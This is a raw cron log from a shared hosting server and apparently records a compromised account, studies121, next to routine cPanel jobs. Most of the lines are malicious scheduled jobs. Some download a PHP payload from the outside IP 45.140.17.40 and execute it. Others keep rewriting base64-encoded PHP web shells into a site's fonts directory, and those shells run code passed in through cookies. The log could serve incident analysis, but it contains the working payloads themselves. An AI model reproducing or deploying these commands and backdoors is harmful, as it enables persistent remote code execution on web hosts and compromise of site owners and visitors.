Sep  8 09:02:01 ip-184-168-122-23 CROND[18537]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:02:01 ip-184-168-122-23 CROND[18538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:02:01 ip-184-168-122-23 CROND[18539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:02:01 ip-184-168-122-23 CROND[18542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:02:01 ip-184-168-122-23 CROND[18540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:03:01 ip-184-168-122-23 CROND[18639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:03:01 ip-184-168-122-23 CROND[18640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:03:01 ip-184-168-122-23 CROND[18641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:03:01 ip-184-168-122-23 CROND[18643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:04:01 ip-184-168-122-23 CROND[18752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:04:01 ip-184-168-122-23 CROND[18753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:04:01 ip-184-168-122-23 CROND[18756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:04:01 ip-184-168-122-23 CROND[18757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:04:01 ip-184-168-122-23 CROND[18759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:05:02 ip-184-168-122-23 CROND[18910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:05:02 ip-184-168-122-23 CROND[18911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:05:02 ip-184-168-122-23 CROND[18915]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:05:02 ip-184-168-122-23 CROND[18914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:05:02 ip-184-168-122-23 CROND[18913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:05:02 ip-184-168-122-23 CROND[18916]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 09:05:02 ip-184-168-122-23 CROND[18917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:06:01 ip-184-168-122-23 CROND[19069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:06:01 ip-184-168-122-23 CROND[19071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:06:01 ip-184-168-122-23 CROND[19072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:06:01 ip-184-168-122-23 CROND[19073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:06:01 ip-184-168-122-23 CROND[19074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:07:01 ip-184-168-122-23 CROND[19195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:07:01 ip-184-168-122-23 CROND[19197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:07:01 ip-184-168-122-23 CROND[19198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:07:01 ip-184-168-122-23 CROND[19199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:08:01 ip-184-168-122-23 CROND[19280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:08:01 ip-184-168-122-23 CROND[19283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:08:01 ip-184-168-122-23 CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:08:01 ip-184-168-122-23 CROND[19285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:08:01 ip-184-168-122-23 CROND[19282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:09:01 ip-184-168-122-23 CROND[19397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:09:01 ip-184-168-122-23 CROND[19399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:09:01 ip-184-168-122-23 CROND[19402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:09:01 ip-184-168-122-23 CROND[19401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:09:01 ip-184-168-122-23 CROND[19403]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 09:10:01 ip-184-168-122-23 CROND[19534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:10:01 ip-184-168-122-23 CROND[19538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:10:01 ip-184-168-122-23 CROND[19537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:10:01 ip-184-168-122-23 CROND[19540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:10:01 ip-184-168-122-23 CROND[19539]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:10:01 ip-184-168-122-23 CROND[19547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:10:01 ip-184-168-122-23 CROND[19546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:10:01 ip-184-168-122-23 CROND[19545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:11:01 ip-184-168-122-23 CROND[19731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:11:01 ip-184-168-122-23 CROND[19732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:11:01 ip-184-168-122-23 CROND[19733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:11:01 ip-184-168-122-23 CROND[19734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:12:01 ip-184-168-122-23 CROND[19835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 09:12:01 ip-184-168-122-23 CROND[19834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:12:01 ip-184-168-122-23 CROND[19837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:12:01 ip-184-168-122-23 CROND[19839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:12:01 ip-184-168-122-23 CROND[19840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:13:01 ip-184-168-122-23 CROND[19937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:13:01 ip-184-168-122-23 CROND[19938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 09:13:01 ip-184-168-122-23 CROND[19940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:13:01 ip-184-168-122-23 CROND[19941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 09:14:01 ip-184-168-122-23 CROND[20053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
